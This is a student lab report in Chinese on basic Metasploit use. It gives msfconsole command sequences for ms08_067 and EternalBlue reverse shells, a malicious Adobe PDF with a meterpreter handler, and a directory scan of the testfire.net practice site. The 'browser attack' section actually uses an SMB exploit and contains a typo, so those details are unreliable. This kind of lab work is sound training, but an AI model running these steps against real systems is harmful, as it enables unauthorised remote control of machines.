Exp5 MSF基础应用

实践内容

  • 主动攻击:ms08_067

    • exploit/windows/smb/ms08_067_netapi
    • generic/shell_reverse_tcp
  • 针对浏览器攻击:ms11_050
    • exploit/windows/smb/ms17_010_eternalblue
    • generic/shell_reverse_tcp
  • 针对Adobe阅读器的攻击
    • windows/fileformat/adobe_cooltype_sing
    • windows/meterpreter/reverse_tcp
  • 辅助模块(唯一)
    • auxiliary/scanner/http/dir_scanner

实践总结

基础问题回答:用自己的话解释什么是exploit,payload,encode.

很显然这三个是由大到小的层次关系,exploit是如何利用这个漏洞的代码,payload是攻击漏洞成功以后的功能代码,encode又是payload里的核心代码

总结与体会

想要做出一个完美的计算机系统几乎是不可能的,只能不断完善,臻于完美。

离实战还缺什么技术或步骤

攻击者计算机和受害者计算机都是在桥接模式下ping通的,也就是内网内互通,而实际情况很多时候都要针对外网进行攻击。


实践过程记录

主动攻击 ms08_067
什么是ms08_067

MS08_67漏洞是2008年年底爆出的一个特大漏洞,存在与当时所有的微软系统,杀伤力超强。其原理是攻击者利用受害主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。

使用设备

靶机:Win2kServer_SP0_target 10.1.1.119

漏洞:exploit/windows/smb/ms08_067_netapi

payload : generic/shell_reverse_tcp

攻击步骤
  • 将Kali和靶机都改为桥接模式,ping通



  • msfconsole进入msf控制台

  • 搜索相关模块,找到对应的攻击模块exploit/windows/smb/ms08_067_netapi,可知这是一个针对windows-smb的攻击模块

SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统。

  • info命令查看exploit/windows/smb/ms08_067_netapi的相关信息,比如存在该漏洞的目标主机类型、基础设置等



445端口是SMB服务端口

  • 选择漏洞,搜索靶机可用端口
use exploit/windows/smb/ms08_067_netapi   //选择漏洞
show options // 显示设置
set RHOSTS 10.1.1.119 //设置靶机IP
search portscan //扫描端口,查找可用模块
use auxiliary/scanner/portscan/tcp //使用auxiliary/scanner/portscan/tcp模块
show options
set RHOSTS 10.1.1.119 //设置IP
exploit



  • 445端口已开放

  • 查看可用payload,选择一般类的(generic),tcp回连

use exploit/windows/smb/ms08_067_netapi
show payloads

  • 配置端口等信息
set payload generic/shell_reverse_tcp
show options
set LHOST 10.1.1.178 //kali的ip

  • exploit进行渗透攻击


针对浏览器攻击 ms11_050
使用设备

靶机:Windows Server 2008 x64 10.1.1.240

漏洞:exploit/windows/smb/ms17_010_eternalblue

payload : generic/shell_reverse_tcp

攻击步骤
  • 两主机设置成桥接模式,ping通



  • msfconsole 进入控制台

  • search ms11_050 搜索漏洞

  • use exploit/windows/smb/ms17_010_eternalblue 选择exploit/windows/smb/ms17_010_eternalblue模块

“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

  • info查看相关信息,可以看到存在该漏洞的靶机有win7或者win2008server,这里选取Win 2008 Server作为靶机
Available targets:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs

  • show payloads 查看载荷,这里依旧选用了generic/shell_reverse_tcp载荷

  • 配置
set payload generic/shell_reverse_tcp
show options
set RHOSTS 10.1.1.240
set LOST 10.1.1.178
show options

  • exploit 攻击


针对Adobe的攻击
使用设备

靶机:WinXPattacker 10.1.1.200

漏洞:windows/fileformat/adobe_cooltype_sing

payload : windows/meterpreter/reverse_tcp

攻击步骤
  • 保证两台主机互相ping通



  • search adobe

  • use windows/fileformat/adobe_cooltype_sing

  • info 命令查看一下漏洞信息

漏洞存在于Adobe Reader 8.2.4到9.3.4之间的版本,在CoolType.dll库中处理字体文件SING( Smart INdependent Glyplets)表中uniqueName项时存在栈溢出漏洞。

  • show payloads
  • set payload windows/meterpreter/reverse_tcp 设置载荷
  • 配置IP和端口等

生成文件名为msf.pdf,kali回连监听的端口为4444

  • exploit 生成文件。并将文件拷贝到WinXP。
  • 进入监听模块并配置信息
back                                           //退出当前模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置载荷
set LHOST 10.1.1.178
set LPORT 4444 //配置监听的ip和端口
show option //查看设置是否正确

  • exploit 开始监听。WinXP运行msf.pdf,可以看到Kali已经回连成功。


辅助模块 dir_scanner
什么是dir_scanner

用暴力猜解的方式探索网站目录结构,找到隐藏目录,不一定能猜解出全部的目录。

攻击步骤
  • 进入路径/usr/share/metasploit-framework/modules/auxiliary

  • 查看所有辅助模块分类,选择scanner,进入http分类

  • cat dir_scanner.rb查看模块源代码

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
## require 'rex/proto/http'
require 'thread' class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanDir
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Directory Scanner',
'Description' => %q{
This module identifies the existence of interesting directories
in a given directory path.
},
'Author' => [ 'et [at] metasploit.com' ],
'License' => BSD_LICENSE)) register_options(
[
OptString.new('PATH', [ true, "The path to identify files", '/']),
OptPath.new('DICTIONARY', [ false, "Path of word dictionary to use",
File.join(Msf::Config.data_directory, "wmap", "wmap_dirs.txt")
]
) ]) register_advanced_options(
[
OptInt.new('ErrorCode', [ false, "Error code for non existent directory" ]),
OptPath.new('HTTP404Sigs', [ false, "Path of 404 signatures to use",
File.join(Msf::Config.data_directory, "wmap", "wmap_404s.txt")
]
),
OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ]),
OptInt.new('TestThreads', [ true, "Number of test threads", 25]) ]) end def run_host(ip)
conn = true
ecode = nil
emesg = nil tpath = normalize_uri(datastore['PATH'])
if tpath[-1,1] != '/'
tpath += '/'
end ecode = datastore['ErrorCode'].to_i
vhost = datastore['VHOST'] || wmap_target_host
prot = datastore['SSL'] ? 'https' : 'http' if (ecode == 0)
# Then the user didn't specify one, go request a (probably)
# nonexistent file to detect what to use.
begin
#
# Detect error code
#
print_status("Detecting error code")
randdir = Rex::Text.rand_text_alpha(5).chomp + '/'
res = send_request_cgi({
'uri' => tpath+randdir,
'method' => 'GET',
'ctype' => 'text/html'
}, 20) return if not res tcode = res.code.to_i # Look for a string we can signature on as well
if(tcode >= 200 and tcode <= 299) File.open(datastore['HTTP404Sigs'], 'rb').each do |str|
if(res.body.index(str))
emesg = str
break
end
end if(not emesg)
print_status("Using first 256 bytes of the response as 404 string for #{wmap_target_host}")
emesg = res.body[0,256]
else
print_status("Using custom 404 string of '#{emesg}' for #{wmap_target_host}")
end
else
ecode = tcode
print_status("Using code '#{ecode}' as not found for #{wmap_target_host}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
conn = false
rescue ::Timeout::Error, ::Errno::EPIPE
end
end return if not conn nt = datastore['TestThreads'].to_i
nt = 1 if nt == 0 dm = datastore['NoDetailMessages'] queue = []
File.open(datastore['DICTIONARY'], 'rb').each_line do |testd|
queue << testd.strip + '/'
end while(not queue.empty?)
t = []
1.upto(nt) do
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, queue.shift) do |testf|
Thread.current.kill if not testf testfdir = testf
res = send_request_cgi({
'uri' => tpath+testfdir,
'method' => 'GET',
'ctype' => 'text/html'
}, 20) if(not res or ((res.code.to_i == ecode) or (emesg and res.body.index(emesg))))
if dm == false
print_status("NOT Found #{wmap_base_url}#{tpath}#{testfdir} #{res.code} (#{wmap_target_host})")
end
else report_web_vuln(
:host => ip,
:port => rport,
:vhost => vhost,
:ssl => ssl,
:path => "#{tpath}#{testfdir}",
:method => 'GET',
:pname => "",
:proof => "Res code: #{res.code.to_s}",
:risk => 0,
:confidence => 100,
:category => 'directory',
:description => 'Directoy found.',
:name => 'directory'
) print_good("Found #{wmap_base_url}#{tpath}#{testfdir} #{res.code} (#{wmap_target_host})") if res.code.to_i == 401
print_status("#{wmap_base_url}#{tpath}#{testfdir} requires authentication: #{res.headers['WWW-Authenticate']}") report_note(
:host => ip,
:port => rport,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:type => 'WWW_AUTHENTICATE',
:data => "#{tpath}#{testfdir} Auth: #{res.headers['WWW-Authenticate']}",
:update => :unique_data
) end
end end
end
t.map{|x| x.join }
end
end
end
  • msfconsole 进入控制台
  • 配置并使用dir_scanner辅助模块
use auxiliary/scanner/http/dir_scanner
set THREADS 50 //线程
set RHOSTS www.testfire.net
show options

testfire网站由IBM公司发布,旨在证明IBM产品在检测Web应用程序漏洞和网站缺陷方面的有效性,网站不是真正的银行网站,所以可用来做渗透测试练手的地方,也就是咱们俗称的“靶场”。但前提是必须把握测试范围,像DNS服务器、C段主机等这类就必须剔除在外,只能针对靶场所涉及的直接资产范围内进行练习。

  • exploit

dir_scanner辅助模块发现了网站的一个隐藏目录admin,返回302(重定向)

从理论上说,对“302”错误,搜索引擎认为该网页是存在的,只不过临时改变了地址,仍然会索引收录该页


遇到的问题及解决方案

  • Kali改为桥接模式以后,无法获取ip地址

    • 检查VMware桥接的网卡选择是否正确,虚拟网络编辑器的VMnet0应“桥接到”与本机网卡地址一致

    • cat /etc/resolv.conf 检查DNS服务器,nameserver后面的ip地址应该与本机路由器ip一致

    • cat /etc/network/interfaces 检查默认网络信息配置文件,是否与下图一致,不一致则手动输入更改

    • /etc/init.d/networking restart 重启网络配置

    • 成功获取ip


参考资料

[1] 解决kali桥接模式无法上网 - CSDN

[2] MSF基础命令新手指南 - 简书

[3] testfire.net 网站渗透记录 - 腾讯云

[4] 404错误返回302和200代码原因,搜外师兄的解决办法 - 简书

20165218 《网络对抗技术》 Exp5 MSF基础应用的更多相关文章

  1. 2018-2019-2 20165205 《网络对抗》 Exp5 MSF基础

    2018-2019-2 20165205 <网络对抗> Exp5 MSF基础 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1 ...

  2. 20155227《网络对抗》Exp5 MSF基础应用

    20155227<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:把实现设置好的东西送到要攻击的主机里. ...

  3. 20155232《网络对抗》Exp5 MSF基础应用

    20155232<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode. exploit:就是利用可能存在的漏洞对目标进行攻击 ...

  4. 20155302《网络对抗》Exp5 MSF基础应用

    20155302<网络对抗>Exp5 MSF基础应用 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如 ...

  5. 20155323刘威良《网络对抗》Exp5 MSF基础应用

    20155323刘威良<网络对抗>Exp5 MSF基础应用 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实 ...

  6. 20145301 赵嘉鑫 《网络对抗》Exp5 MSF基础应用

    20145301 赵嘉鑫 <网络对抗>Exp5 MSF基础应用 一 实验链接 渗透实验一:MS08_067渗透实验 渗透实验二:MS14_064渗透实验  (首用) 渗透实验三:Adobe ...

  7. 20145215《网络对抗》Exp5 MSF基础应用

    20145215<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码 ...

  8. 20145208 蔡野 《网络对抗》Exp5 MSF基础应用

    20145208 蔡野 <网络对抗>Exp5 MSF基础应用 链接地址 主动攻击:利用ms08_067_netapi进行攻击 对浏览器攻击:MS10-002 对客户端攻击:adobe_to ...

  9. 20145311王亦徐 《网络对抗技术》 MSF基础应用

    20145311王亦徐 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,以ms ...

  10. 20145325张梓靖 《网络对抗技术》 MSF基础应用

    20145325张梓靖 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,这里以 ...

随机推荐

  1. Java的POI的封装与应用

    Java对Excel表格的导出一直是对我有种可怕噩梦的东西,每次对要建立行与列,并一个一个放值,我是从心底拒绝的. 处于项目需求,需要导出表格,于是找到网上一版很好的开发, <不想用POI?几行 ...

  2. 使用AD对Linux客户端进行身份验证

    https://technet.microsoft.com/zh-cn/library/2008.12.linux.aspx

  3. last命令详解

    基础命令学习目录首页 原文链接:https://blog.csdn.net/jerry_1126/article/details/54427119 [root@xiaoma /root] test!# ...

  4. 后端程序员必备的Linux基础知识

    我自己总结的Java学习的系统知识点以及面试问题,目前已经开源,会一直完善下去,欢迎建议和指导欢迎Star: https://github.com/Snailclimb/Java-Guide > ...

  5. 基础业务:滚动到指定位置导航固定(CSS实现)

    最近公司做的业务都是使用Vue.Element写的,涉及到的相应的基础业务像轮播.预加载.懒加载,都是使用 NPM上的工具来实现,原理和基础还是要有的,就来实现几个项目中常用到的业务. 经常见到这样的 ...

  6. 软件工程-东北师大站-第八次作业(PSP)

    1.本周PSP 2.本周进度条 3.本周累计进度图 代码累计折线图 博文字数累计折线图 4.本周PSP饼状图

  7. 11.16 Daily Scrum

    由于今天是工作小周期的最后一天,今天的主要任务是解决了一周留下的技术方面的难题.一些类似于悬浮窗和进度条的bug修复全部在今天得到了解决,修复了数据库的内存泄露bug,软件的搜索功能的完善也接近尾声. ...

  8. Task 6.2冲刺会议五 /2015-5-18

    今天继续深入的看了看服务器的内容,修改了昨天的代码,发现网络编程还是很好玩的,感觉他的代码比平常写的更有趣一点,另外登陆界面也稍微看了一点.明天准备把登陆界面完善一下.

  9. TCP 连接管理

    实验代码和内容:https://github.com/ZCplayground/Understanding-Unix-Linux-Programming/tree/master/11.socket 明 ...

  10. OcLint的使用

    一.介绍 OCLint是一个强大的静态代码分析工具,可以用来提高代码质量,查找潜在的bug,主要针对c,c++和Objective-c的静态分析.功能非常强大,而且是出自国人之手.项目地址:http: ...